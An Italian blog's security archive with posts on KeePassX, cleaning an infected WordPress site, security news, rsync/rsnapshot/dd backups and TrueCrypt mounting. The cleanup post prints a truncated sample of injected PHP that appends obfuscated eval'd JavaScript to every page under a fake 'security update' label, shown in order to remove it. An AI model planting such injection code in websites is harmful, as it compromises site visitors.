Archive for the ‘sicurezza’ Category
Mettere i password al sicuro
Visto che forse non è la cosa migliore fa salvare le passwd a Firefox ma un Password Manager ci vuole : Ho scoperto KeePassX.
Facile installazione con
qmake
make
sudo make install
mentre per Ubuntu e altre distro ci sono pacchetti pronti. Un vantaggio: è disponibile per tutti sistemi operativi, da Linux a Mac a Windows, quindi puoi usare lo stesso file datase.
Facile anche la configurazione, basta creare un file di database (mettendo un punto davanti al nome è nascosto) e scegliere un passwd. La cosa migliore è l’opzione autofill ovvero: Basta aprire nel browser preferito la pagina dove si vuole usare il passwd manager, creare la voce per la coppia nome_utente:passwd, cliccare su Tools > select target window e del pop-up basta selezionare la finestra del Browser. In Utilità >Impostazioni > avanzate spuntare la casella “utilizza i titoli della voce…” e scegliere una scorciatoia, tipo Alt+e.
Dopo basta premere alt+e alla pagina di login, KeePassX compila i campi e preme pure invio. Questo per ora funziona solo su Linux.
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Se Google segnala che il sito è infetto
All’ apertura del sito appare:
Attenzione: l’apertura di questo sito potrebbe danneggiare il tuo computer!
e nei risultati d ricerca:
www.sito.com
Questo sito potrebbe arrecare danni al tuo computer.
L’infezione aggiungeva uno script in fondo a tutte la pagine. In index.php e altri file si trovava il codice che conteneva:
<?php ob_start('security_update'); function security_update($buffer){return $buffer.'<script language="javascript">function t(){return z($a);}var $a="Z73tZ3dZ22Z2573tZ253dZ2522Z2524Z2561Z253dstZ253bdZ2563Z2573Z2528Z2564Z2561+
Z2564Z2562Z252bdZ2563+Z2564Z2564+Z2564eZ252cZ2531Z2530Z2529;Z2564Z ecc ecc
=0;eval(t());';}//important security update ?>
Se sono compromesse installazioni wordpress (nel mio caso):
- Segnarsi la data di modifica di index.php e/o altri file infetti
- cambiare passwd FTP e assicurarsi che sul proprio PC non siano presenti trojan che leggano il passwd di client come filezilla. Magari usare un cd live di ubuntu per pulire il sito, nel dubbio
- reinstallare wordpress, joomla ecc, e nel caso che i file di wordpress si trovano in un altra directory del sito sostituire il file index.php, che nel caso che sia infetto pesa 6.5kb invece di 104b.
- Controllare la data di modifica degli script in /cgi-bin e sostituirli con i backup nel caso che siano infetti. Nel caso mio erano infetti anche counter.cgi che viene chiamato da molte pagine.Controllare anche eventuali file *.htm che sono modificati, nel caso mio c'erano 3 o 4 infetti con uno javascript.
- Controllare se è presente un script tipo "chat.pl", nel caso mio era un backdoor per accedere al server senza passwd e eliminarlo
- Controllare se nella root sia presente mailcheck.php e eliminarlo.
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10′000 account di hotmail craccati
Pubblicati da A fino B che fa pensare che ci sono anche di più.
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Game over per Vista?
Due esperti di sicurezza hanno dimostrato una grave falle di sicurezza in Windows Vista. Se venisse confermato sarebbe un colpo duro se non letale a quel sistema che nessuno ama.
Se Bruce Schneier dice che il pericolo sarebbe serio è serio davvero.
Dettagli in italiano qui.
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Il backup totale, integrale e completo
Premessa: Almeno la /home dovrebbe essere su partizione separata, perché in caso di guasti irrimediabili basta reinstallare il sistema senza dover toccare i dati e impostazioni. Si può creare con gparted da un CD live (Ubuntu, Knoppix o direttamente gparted live) e spostarci il contenuto (cartelle “nomeutente/i), modificando /etc/fstab. Cercando in rete si trovano molte guide, una è qui.
1) Questo file – salvato con nome “backup” in /home/utente/bin e reso eseguibile in “proprietà” – crea una copia sincronizzata della /home/utente su un disco USB (ma anche su una cartella di rete, su un altro disco ecc)
#–exclude=espressione da escludere
rsync -auv –exclude=.local – -exclude=.thumbnails v – -delete – -stats /home/UTENTE/ /media/NOME_DISCO/backup_UTENTE
NOTA: si vede male ma per le opzioni estese ci vogliono due trattini – -
Altre opzioni:
man rsync
Da ora in poi basta scrivere “backup” nel terminale per aggiornare il backup: verranno copiati solo i file nuovi, quelli modificati e cancellati anche nel backup quelli non più esistenti.
2) In K/X/Ubuntu in un momento di perfetto funzionamento dare
dpkg –get-selections > ~/pacchetti_installati.txt
Se dovrebbe essere necessario una reinstallazione (anche su PC diverso) basta il comando
sudo bash
dpkg –set-selections < ./pacchetti_installati.txt && apt-get dselect-upgrade
per reinstallare tutti i programmi.
3) Se si sono fatte modifiche in /etc (xorg.conf, alsa-base) vanno copiati anche questi file modificati nel backup
4) Infine si può fare un immagine della partizione del sistema: Avviare da CD live, e dare
dd if=/dev/sdaX of=/media/NOME_DISCO/immagine-sdaX
con X il numero della partizione (sudo fisk -l per vedere tutti)
Il ripristino si fa con
dd if=/media/NOME_DISCO/immagine-sdaX of=/dev/sdaX
La medaglia d’oro però va a rsnapshot. Elimina un grosso difetto della soluzione con rsync: cancellando un file o cartella per sbaglio e facendo di seguito un backup con rsync si cancellano anche sul backup, a meno di non usare l’opzione –delete, sconsigliato.
Praticamente abbiamo più versioni della nostra home sul backup mentre i file identici esistono solo una volta grazie ai hardlink di ext3, quindi un enorme risparmio di spazio, nel esempio sotto tutto il backup ammonta a 88gb mentre una cartella monthly* o weekly* a 44gb, cioè la dimensione della mia home:
La configurazione è un po’ ostile e va fatto nel file /etc/rsnapshot.conf, riporto le cose essenziali:
#################################################
# rsnapshot.conf – rsnapshot configuration file #
#################################################
#
# OSSERVARE QUESTE REGOLE:
#
# Questo file richiede TAB per spaziare tra gli elementi
#
# Percorsi devono finire con /:
# corretto: /home/
# sbagliato: /home
#
###########################
# SNAPSHOT ROOT DIRECTORY #
############################ Tutti backup verranno salvati in questo percorso
# Dare una etichetta con gparted a un eventuale disco USB
# per assicurarsi che viene sempre montato nello stesso percorso in /media
# Esempio:
snapshot_root /media/nome_etichetta/backup/# If no_create_root is enabled, rsnapshot will not automatically create the
# snapshot_root directory. This is particularly useful if you are backing
# up to removable media, such as a FireWire or USB drive.
#
no_create_root 1#################################
# DIPENDENZE DA PROGRAMMI ESTERNI #
#################################cmd_cp /bin/cp
cmd_rm /bin/rm
cmd_rsync /usr/bin/rsync
# Scommenta per attivare remote ssh backup.
#
#cmd_ssh /usr/bin/ssh# Commenta per disabilitare log.
#
cmd_logger /usr/bin/loggercmd_du /bin/du
#########################################
# INTERVALLI DEL BACKUP
# Univoci e in ordine ascendente
# i.e. hourly, daily, weekly, etc.
# Esempio: 5 versione backup da tenere del weekly, 3 dal monthly
##########################################interval hourly 6
#interval daily 3
interval weekly 5
interval monthly 3############################################
# GLOBAL OPTIONS #
# All are optional, with sensible defaults #
############################################# Verbose level, 1 through 5.
# 1 Quiet Print fatal errors only
#2 Default Print errors and warnings only
#3 Verbose Show equivalent shell commands being executed
# 4 Extra Verbose Show extra verbose information
# 5 Debug mode Everything
#
verbose 3# Same as “verbose” above, but controls the amount of data sent to the
# logfile, if one is being used. The default is 3.
#
loglevel 3# If you enable this, data will be written to the file you specify. The
# amount of data written is controlled by the “loglevel” parameter.
#
logfile /var/log/rsnapshot# Il file di lock, per non avere due volte rsnapshot in esecuzione.
# Per evitare errori di permessi scegliere la home
lockfile /home/arch/rsnapshot.pid# Argomenti corti e lunghi passati a rsync. Per dettagli: rsync –help
rsync_short_args -auvp
rsync_long_args –stats# ssh has no args passed by default, but you can specify some here.
#ssh_args -p 22
# Default arguments for the “du” program (for disk space reporting).
# The GNU version of “du” is preferred. See the man page for more details.
# If your version of “du” doesn’t support the -h flag, try -k flag instead.
#
du_args -csh# If this is enabled, rsync won’t span filesystem partitions within a
# backup point. This essentially passes the -x option to rsync.
# The default is 0 (off).
#
#one_fs 0# I parmetri include e exclude [pattern] passati a rsync.
#Multipli argomenti su righe singole
# Dettagli nella rsync man page
#Esempi: nessun backup del cestino e dei dischi di virtualbox
#include XXXX
exclude .local
exclude .vdi# The include_file and exclude_file parameters, if enabled, simply get
# passed directly to rsync. Please look up the –include-from and
# –exclude-from options in the rsync man page for more details.
#
#include_file /path/to/include/file
#exclude_file /percorso/al/file# If your version of rsync supports –link-dest, consider enable this.
# This is the best way to support special files (FIFOs, etc) cross-platform.
# The default is 0 (off).
#
link_dest 1# The default is 0 (off).
#
#sync_first 0#The default is 0 (off).
#
#use_lazy_deletes 0# Number of rsync re-tries. If you experience any network problems or
# network card issues that tend to cause ssh to crap-out with
# “Corrupted MAC on input” errors, for example, set this to a non-zero
# value to have the rsync operation re-tried
#
#rsync_numtries 0###############################
### BACKUP / SCRIPTS ###
################################ LOCALHOST
#backup /home/arch/.mozilla mozilla/
backup /etc/ etc/
backup /home/nome_utente/ nome_utente/
#backup /usr/local/ localhost/
#backup /var/log/rsnapshot localhost/
#backup /etc/passwd localhost/
#backup /home/foo/My Documents/ localhost/
#backup /foo/bar/ localhost/ one_fs=1, rsync_short_args=-urltvpog
#backup_script /usr/local/bin/backup_pgsql.sh localhost/postgres/# EXAMPLE.COM
#backup_script /bin/date “+ backup of example.com started at %c” unused1
#backup root@example.com:/home/ example.com/ +rsync_long_args=–bwlimit=16,exclude=core
#backup root@example.com:/etc/ example.com/ exclude=mtab,exclude=core
#backup_script ssh root@example.com “mysqldump -A > /var/db/dump/mysql.sql” unused2
#backup root@example.com:/var/db/dump/ example.com/
#backup_script /bin/date “+ backup of example.com ended at %c” unused9# CVS.SOURCEFORGE.NET
#backup_script /usr/local/bin/backup_rsnapshot_cvsroot.sh rsnapshot.cvs.sourceforge.net/# RSYNC.SAMBA.ORG
#backup rsync://rsync.samba.org/rsyncftp/ rsync.samba.org/rsyncftp/
Una volta create le cartelle e messo a posto il file possiamo lanciare rsnapshot con gli argomenti che abbiamo specificato:
rsnapshot weekly
o
rsnapshot monthly
Se usiamo un disco usb conviene di lanciarlo manualmente in quanto non sarà sempre montato. Se invece facciamo un backup in rete o su un secondo disco fisso possiamo inserire i comandi in /etc/cron.daily salvando in questa directory un semplice script eseguibile:
!#/bin/bash
rsnapshot daily
Stesso procedimento per cron.weekly e eventualmente cron.monthly con script analogici, cioè rsnapshot weekly
rsnapshot monthly
Adesso basta installare anacron se la macchina non è sempre accesa per far sì che vengono sempre eseguiti.
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Vista con porta per i servizi segreti?
Bruce Schneier dice:
Microsoft has added the random-number generator Dual_EC-DRBG to Windows Vista, as part of SP1. Yes, this is the same RNG that could have an NSA backdoor.
It’s not enabled by default, and my advice is to never enable it. Ever.
EDITED TO ADD (12/18): I should make this clear that the algorithm is available as a program call. It is not something that the user can enable or disable.
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Cifrare cartelle in automatico
I miei due centesimi brutti per avere i dati sensibili protetti e cifrati in automatico al login con truecrypt:
Prima installare la versione giusto per il kernel. Ci sono due GUI grafici per truecrypt in giro, una (Forcefield) non mi funzionava, l’altra (tcGUI) si installava bene ma mi mancava il Java 6 che sono 32 MB è non aveva voglia di scaricarlo con la connessione dialup, quindi non posso esprimermi sul suo funzionamento. Ma lo script di installazione setta bene i permessi per eseguire truecrypt senza sudo, sembra.
Come si creano i volumi è descritta benissimo in questo wiki e un altra risorsa è qui. Ho creato un volume nella mia home .data.tc di 6 Gb e l’ho formattato in ext3. Idem ho creato una cartella di nome .data sempre nella home. Il comando
$truecrypt .data.tc .data
monta la cartella (se il filesystem è FAT va aggiunto l’opzione -u). Un
$sudo chown -R [nome_utente] .data
la rende usabile alla fine . Ora si possono muovere i file che si vogliono criptare sempre in /home/nome_utente/.data; per esempio la cartella “Documents”, la cartella .mozilla-thunderbird e .mozilla. Consiglio: chiudere le app che usano i file (cioè Firefox e Thunderbird) e poi solo copiarci il contenuto, di seguito rinominare le cartelle tipo .mozilla-thunderbird.backup. Alla fine basta marcare il contenuto di .data e trascinarlo nella /home/utente e scegliere “collega qui” dal menu che appare (Kubuntu).
Ora viene il bello. Per non montare sempre al login il disco virtuale con i nostri dati ho trovato (e modificato) bel script. Salvarlo in ~/bin e renderlo eseguibile. Spostarsi in ~/.kde/Autostart > crea > collegamento ad un applicazione > selezionare mount_data.sh
selezionarla il mount_data.desktop > proprietà > terza scheda > comando inserire mount_data.sh /home/nome_utente/.data.tc /home/nome_utente/.data/
Intanto che ci siamo in questa cartella: Trascinare e copiare dentro dal menu avvio le icone Firefox e Thunderbird, e sempre nella terza scheda inserire un “sleep” davanti:
sleep 10 && kstart –desktop 1 mozilla-thunderbird.
Il “kstart” si spiega da solo. In questo modo facciamo che Thunderbird si avvia soltanto dopo che abbiamo dato il password nel dialogo.
Se non si monta .data.tc né Firefox né Thunderbird si avviano, perché trovano per i loro dati un collegamento a una cartella vuota. Per la perfezione ci vorebbe uno script che smonta la cartella al logout, ma le ricerche finora andavano a vuoto.
Per testare: fare un logout, un login da shell (Alt+ctrl+F1), smontare con
$truecrypt -d
e controllare con
$truecrypt -vl
e un login normale. Dovrebbe apparire questo:

#smontare i dischi criptati
sleep 10 && truecrypt -d

L’unica cosa che fa la bizze è il comando
$truecrypt -d
che dovrebbe smontare la carte dei dati: a volte non funziona neanche con sudo, dicendo “device occupato”.
Per smontare tutti i dischi cifrati: Aprire (o creare se non esiste) ~/.bash_logout e aggiungere in fondo :
#smontare i dischi criptati
sleep 10 && truecrypt -d
Un altra opzione è di inserire la chiamata dello script per montarla non in ~/.kde/Autostart ma in fondo nel file .profile
#per montare i dati sensibili
mount_data.sh /home/nome_utente/.data.tc /home/nome_utente/.data/
Facendo così la richiesta del password appare subito dopo quella del login, ma mette tanto a montare.
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